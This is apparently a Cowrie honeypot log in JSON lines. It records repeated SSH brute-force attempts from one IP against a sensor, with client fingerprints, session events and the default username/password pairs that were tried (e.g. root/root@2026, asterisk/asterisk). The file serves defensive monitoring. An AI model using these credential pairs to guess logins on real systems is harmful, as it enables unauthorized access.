{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:46.295947Z","src_ip":"192.109.200.78","session":"18f3563befe0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:46.543633Z","src_ip":"192.109.200.78","session":"18f3563befe0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.909139156341553,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:47.117795Z","src_ip":"162.214.129.89","session":"bbe93a9154ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:47.652492Z","src_ip":"192.109.200.78","session":"18f3563befe0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33408,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5493533df49","protocol":"ssh","message":"New connection: 192.109.200.78:33408 (159.203.135.109:22) [session: b5493533df49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:50.515973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:50.538007Z","src_ip":"192.109.200.78","session":"b5493533df49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:50.618606Z","src_ip":"192.109.200.78","session":"b5493533df49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:50.929201Z","src_ip":"192.109.200.78","session":"b5493533df49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:52.017839Z","src_ip":"192.109.200.78","session":"b5493533df49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33418,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea7771769ed4","protocol":"ssh","message":"New connection: 192.109.200.78:33418 (159.203.135.109:22) [session: ea7771769ed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:54.669592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:54.681666Z","src_ip":"192.109.200.78","session":"ea7771769ed4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:54.765101Z","src_ip":"192.109.200.78","session":"ea7771769ed4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:55.020298Z","src_ip":"192.109.200.78","session":"ea7771769ed4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:56.142914Z","src_ip":"192.109.200.78","session":"ea7771769ed4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56176,"dst_ip":"159.203.135.109","dst_port":22,"session":"74f5a3cf1a47","protocol":"ssh","message":"New connection: 192.109.200.78:56176 (159.203.135.109:22) [session: 74f5a3cf1a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:58.940396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:58.945576Z","src_ip":"192.109.200.78","session":"74f5a3cf1a47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:59.034441Z","src_ip":"192.109.200.78","session":"74f5a3cf1a47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@2026","message":"login attempt [root/root@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:34:59.286722Z","src_ip":"192.109.200.78","session":"74f5a3cf1a47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:00.391501Z","src_ip":"192.109.200.78","session":"74f5a3cf1a47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56186,"dst_ip":"159.203.135.109","dst_port":22,"session":"486a9a8c0ff7","protocol":"ssh","message":"New connection: 192.109.200.78:56186 (159.203.135.109:22) [session: 486a9a8c0ff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:03.068594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:03.073018Z","src_ip":"192.109.200.78","session":"486a9a8c0ff7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:03.171823Z","src_ip":"192.109.200.78","session":"486a9a8c0ff7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:03.736501Z","src_ip":"192.109.200.78","session":"486a9a8c0ff7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:04.831620Z","src_ip":"192.109.200.78","session":"486a9a8c0ff7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.848061084747314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:07.040855Z","src_ip":"77.68.119.60","session":"bb0ca74efe36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56198,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd5ebc6f5921","protocol":"ssh","message":"New connection: 192.109.200.78:56198 (159.203.135.109:22) [session: bd5ebc6f5921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:07.372784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:07.379468Z","src_ip":"192.109.200.78","session":"bd5ebc6f5921","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:07.464190Z","src_ip":"192.109.200.78","session":"bd5ebc6f5921","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:07.715552Z","src_ip":"192.109.200.78","session":"bd5ebc6f5921","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:08.824688Z","src_ip":"192.109.200.78","session":"bd5ebc6f5921","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58920,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2f12921b513","protocol":"ssh","message":"New connection: 192.109.200.78:58920 (159.203.135.109:22) [session: f2f12921b513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:11.460230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:11.469179Z","src_ip":"192.109.200.78","session":"f2f12921b513","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:11.551617Z","src_ip":"192.109.200.78","session":"f2f12921b513","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:11.802104Z","src_ip":"192.109.200.78","session":"f2f12921b513","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:12.890429Z","src_ip":"192.109.200.78","session":"f2f12921b513","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58936,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf346ee6c18f","protocol":"ssh","message":"New connection: 192.109.200.78:58936 (159.203.135.109:22) [session: cf346ee6c18f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:15.704988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:15.709874Z","src_ip":"192.109.200.78","session":"cf346ee6c18f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:15.802779Z","src_ip":"192.109.200.78","session":"cf346ee6c18f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:16.200198Z","src_ip":"192.109.200.78","session":"cf346ee6c18f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:17.287601Z","src_ip":"192.109.200.78","session":"cf346ee6c18f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55850,"dst_ip":"159.203.135.109","dst_port":22,"session":"19e8b3335fa2","protocol":"ssh","message":"New connection: 192.109.200.78:55850 (159.203.135.109:22) [session: 19e8b3335fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:19.866026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:35:19.875253Z","src_ip":"192.109.200.78","session":"19e8b3335fa2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.co